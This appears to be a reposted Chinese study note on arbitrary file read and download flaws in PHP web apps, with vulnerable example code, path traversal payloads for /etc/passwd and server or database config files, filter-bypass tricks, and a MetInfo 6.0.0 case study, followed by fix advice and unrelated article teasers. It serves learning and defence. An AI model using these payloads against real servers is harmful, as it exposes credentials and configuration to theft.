fileread任意文件读取学习笔记

任意文件读取概述

一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是源代码文件,配置文件,敏感文件等等。

  • 任意文件读取会造成(敏感)信息泄露;

  • 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。

  • 任意文件读取与任意文件下载本质上没有区别,信息都是从服务端流向浏览器的。

任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。

漏洞成因

不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:

  • 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;

  • 读取文件的路径客户端可控,完全控制或影响文件路径参数;

  • 没有对文件路径进行校验或者校验不严导致校验被绕过;

  • 输出了文件的内容。

漏洞危害

下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。

可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。

任意文件读取与下载重点关注的文件:

  • 源代码

  • 配置文件

  • 敏感文件

  • 日志文件

漏洞分类

  • 任意文件读取

  • 任意文件下载

任意文件读取

以PHP 脚本为例子,有一些函数可以实现文件读取功能。

文件读取

读取文件的函数函数特点
readfile()直接读取文件内容
自带输出功能
file_get_contents()直接读取文件内容
需要输出读取内容
file_get_contents()打开文件
计算文件大小
读取文件
输出文件
关闭文件

readfile:

// readfile.php
$fp = "../phpinfo.php";
readfile($fp);

file_get_contents:

// file_get_contents.php
$fp = "../phpinfo.php";
echo file_get_contents($fp);

fread:

// fread.php
$fp = "../phpinfo.php";
$f = fopen($fp,'r');
$f_size = filesize($fp);
echo fread($f, $f_size);
fclose($f);

任意文件读取

变量$fp,会捕获GET 方式传递过来的filepath 参数。

$fp = @$_GET['filepath'];

filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。

?filepath=index.php
?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts
?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts

任意文件下载

一般情况

直接下载:例如图片另存为。

a 标签下载:

<a href = './a.jpg'>IMG Download</a>

php实现

PHP 文件下载实现过程:

  • 先读取文件

  • 在输出文件

  • 提供下载

// file-download.php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);

任意文件下载

任意文件下载的条件:

  • 已知目标文件路径

  • 目标文件路径,客户端可控

  • 没有经过校验或校验不严格

$fp = $_GET['filepath'];

image-20231114111225936

?filepath=c:/windows/system32/drivers/etc/hosts
?filepath=/etc/passwd

任意文件读取攻防

路径过滤

过滤…/

$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);

简单绕过

双写绕过

?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts

绝对路径

?filepath=c:/windows\system32\drivers\etc\hosts

使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

任意文件读取挖掘

手工挖掘

从文件名上看从参数名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

经典案例

  • metinfo_6.0.0_file-read

该漏洞出现在metinfo_6.0.0下的/include/thumb.php文件中

该文件源码

<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.defined('IN_MET') or exit('No permission');load::sys_class('web');class old_thumb extends web{public function doshow(){global $_M;$dir = str_replace(array('../','./'), '', $_GET['dir']);if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){header("Content-type: image/jpeg");ob_start();readfile($dir);ob_flush();flush();die;}if($_M['form']['pageset']){$path = $dir."&met-table={$_M['form']['met-table']}&met-field={$_M['form']['met-field']}";}else{$path = $dir;}$image =  thumb($path,$_M['form']['x'],$_M['form']['y']);if($_M['form']['pageset']){$img = explode('?', $image);$img = $img[0];}else{$img = $image;}if($img){header("Content-type: image/jpeg");ob_start();readfile(PATH_WEB.str_replace($_M['url']['site'], '', $img));ob_flush();flush();}}
}# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

过滤代码

$dir = str_replace(array('../','./'), '', $_GET['dir']);
 if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)

将输入的…/和./过滤为空

并判断url的前四位是否为http并且输入的dir里面有没有./如果没有且头部为http,则可以执行

第一次测试 双写

/include/thumb.php?dir=..././http/..././config/config_db.php

第二次测试 三写

/include/thumb.php?dir=.....///http/.....///config/config_db.php

第三次测试

/include/thumb.php?dir=http/.....///.....///config/config_db.php

第四次测试

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20231114154754936

输出一下过滤后的dir和M

image-20231114154926678

漏洞修复方案

输入验证

  • 让web 用户只能访问(读取),所需要的文件和路径。

避免其它漏洞

  • 不能有文件包含漏洞,目录遍历漏洞或其他漏洞。

限定文件的访问范围

  • 让用户不能访问Web 根目录以外的路径。

  • php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围

open_basedir = c:\www\

参考链接

https://github.com/lijiejie/ds_store_exp
https://blog.csdn.net/GitChat/article/details/79014538
https://www.secpulse.com/archives/124398.html
https://github.com/kost/dvcs-ripper
https://github.com/lijiejie/GitHack
http://www.vuln.cn/2225
https://github.com/admintony/svnExploit
https://www.freebuf.com/vuls/181698.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/144744.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux命令--重启系统的方法

原文网址&#xff1a;Linux命令--重启系统的方法_IT利刃出鞘的博客-CSDN博客 简介 本文介绍Linux重启系统的方法。 普通重启 reboot reboot的工作过程跟下边的halt差不多&#xff0c;不过它是引发主机重启&#xff0c;而halt是关机。它的参数与halt相差不多。 shutdown …

centos 6.10 安装 readline 6.2.0

下载地址 解压文件 cd readline-6.2 ./configure -prefix /usr/local/readline-6.2 make && make install安装完成

【Qt之QSplashScreen】开场动画使用:进度条加载及设置鼠标指针不转圈

效果 开场动画效果如下&#xff1a; 开场动画 介绍 QSplashScreen小部件提供了一个启动屏幕&#xff0c;可以在应用程序启动期间显示。 启动屏幕是一个小部件&#xff0c;通常在应用程序启动时显示。启动屏幕通常用于启动时间较长的应用程序(例如需要花费时间建立连接的数据…

《Effective C++》条款15

在资源管理类中提供对原始资源的访问 class A {... }; int day(const A* ptr) {... } int main() {shared_ptr<A> ptr(new A);cout << day(ptr) << endl; } 这样写是错误的。因为day函数要求的参数是指针&#xff0c;而你传的实际上是一个对象。 如何解决呢&…

在docker下安装suiteCRM

安装方法&#xff1a; docker-hub来源&#xff1a;https://hub.docker.com/r/bitnami/suitecrm curl -sSL https://raw.githubusercontent.com/bitnami/containers/main/bitnami/suitecrm/docker-compose.yml > docker-compose.yml//然后可以在docker-compose.yml文件里修…

深度学习+opencv+python实现车道线检测 - 自动驾驶 计算机竞赛

文章目录 0 前言1 课题背景2 实现效果3 卷积神经网络3.1卷积层3.2 池化层3.3 激活函数&#xff1a;3.4 全连接层3.5 使用tensorflow中keras模块实现卷积神经网络 4 YOLOV56 数据集处理7 模型训练8 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &am…

网络支付安全:面临的风险与防范策略

随着电子商务的繁荣和移动支付技术的发展&#xff0c;网络支付已成为全球消费者日常生活中不可或缺的一部分。然而&#xff0c;这种便捷的支付方式也带来了许多安全风险&#xff0c;这些风险可能威胁到用户的财务安全和个人隐私。本文将深入探讨网络支付面临的主要安全风险&…

HTML5学习系列之主结构

HTML5学习系列之主结构 前言HTML5主结构定义页眉定义导航定义主要区域定义文章块定义区块定义附栏定义页脚 具体使用总结 前言 学习记录 HTML5主结构 定义页眉 head表示页眉&#xff0c;用来表示标题栏&#xff0c;引导和导航作用的结构元素。 <header role"banner…

Java和JavaScript是一样的技术吗?

目录 一、Java 是什么 二、JavaScript 是什么 三、Java 和 JavaScript 的区别 一、Java 是什么 Java是一种广泛使用的计算机编程语言&#xff0c;最初由Sun Microsystems&#xff08;后被Oracle收购&#xff09;于1995年发布。Java是一种面向对象的语言&#xff0c;设计初衷…

qnx 工程目录创建工具 addvariant

文章目录 前言一、addvariant 是什么二、addvariant 使用实例1. variant names 参数说明2. 创建一个可执行文件工程3. 创建一个动态库工程 总结参考资料 前言 本文主要介绍如何在qnx 开发环境中创建工程目录及其相关的配置文件(common.mk, Makefile 文件等) 软件版本&#xff…

Java 注解

常见的注解 Override Overload Deprecated 过时 等..... /** *deprecated {link #方法名()}提示可替代方法 */ Deprecated 注解类:Annotion,给编译器进行执行 声明注解使用 interface,本质也是接口,也可以设置抽象方法,起到属性的作用 package java.lang.annotation…

1、LeetCode之两数之和

两数之和 给定一个整数数组 nums和一个目标值target&#xff0c;请你在该数组中找出和为目标值的那两个整数&#xff0c;并返回他们的数组下标。你可以假设每种输入只会对应一个答案。但是&#xff0c;你不能重复利用这个数组中同样的元素。 nums [2,7,11,15]target 9[0,1]枚…

图解未来:数据可视化引领智慧决策时代

图表和数据可视化在数据分析中的关键作用 引言&#xff1a; 在现代数据科学中&#xff0c;数据可视化扮演着至关重要的角色。通过图表和可视化工具&#xff0c;我们能够更直观、更有效地理解数据的分布、趋势和关联性。本文将深入讨论三个主要的数据可视化工具&#xff1a;mat…

mindspore mindyolo目标检测华为昇腾上推理使用、训练;华为OBS文件传输使用

参考&#xff1a; https://github.com/mindspore-lab/mindyolo 使用案例&#xff1a; https://github.com/mindspore-lab/mindyolo/blob/master/GETTING_STARTED.md 安装&#xff1a; pip install mindyolo特别注意opencv-python、opencv-python-headless版本问题&#xff0…

代码随想录算法训练营Day 53 || 1143.最长公共子序列、1035.不相交的线、53. 最大子序和

1143.最长公共子序列 力扣题目链接 给定两个字符串 text1 和 text2&#xff0c;返回这两个字符串的最长公共子序列的长度。 一个字符串的 子序列 是指这样一个新的字符串&#xff1a;它是由原字符串在不改变字符的相对顺序的情况下删除某些字符&#xff08;也可以不删除任何…

Arthas(阿尔萨斯)--(三)

目录 一、Arthas学习 1、class/classloader相关命令一 1、sc 2、sm 2、class/classloader相关命令二 1、jad 2、mc 3、redefine 三、class/classloader相关命令三 一、Arthas学习 Arthas(阿尔萨斯)--(一) Arthas(阿尔萨斯)--(二) 1、class/classloader相关命令一 …

【手写数据库toadb】代码又更新了,增加了解析树,查询树,执行计划,向更多复杂SQL迈进了一步

toadb updated by 2023/11/15 ​专栏内容&#xff1a; 手写数据库toadb 本专栏主要介绍如何从零开发&#xff0c;开发的步骤&#xff0c;以及开发过程中的涉及的原理&#xff0c;遇到的问题等&#xff0c;让大家能跟上并且可以一起开发&#xff0c;让每个需要的人成为参与者。 …

003.文件描述符、重定向

1、文件描述符 文件描述符是与输入和输出流相关联的整数。最广为人知的文件描述符是stdin、stdout和stderr。我们可以将某个文件描述符的内容重定向到另一个文件描述符中。 在编写脚本的时候会频繁用到标准输入&#xff08;stdin&#xff09;、标准输出&#xff08;stdout&am…

Visual Studio Code配置c/c++环境

Visual Studio Code配置c/c环境 1.创建项目目录2.vscode打开项目目录3.项目中添加文件4.文件内容5.配置编译器6.配置构建任务7.配置调试设置 1.创建项目目录 d:\>mkdir d:\c语言项目\test012.vscode打开项目目录 3.项目中添加文件 4.文件内容 #include <iostream> u…

网络编程TCP/UDP通信

1 网络通信概述 1.1 IP 和端口 所有的数据传输&#xff0c;都有三个要素 &#xff1a;源、目的、长度。 怎么表示源或者目的呢&#xff1f;请看图 所以&#xff0c;在网络传输中需要使用“IP 和端口”来表示源或目的。 1.2 网络传输中的 2 个对象&#xff1a;server 和 cl…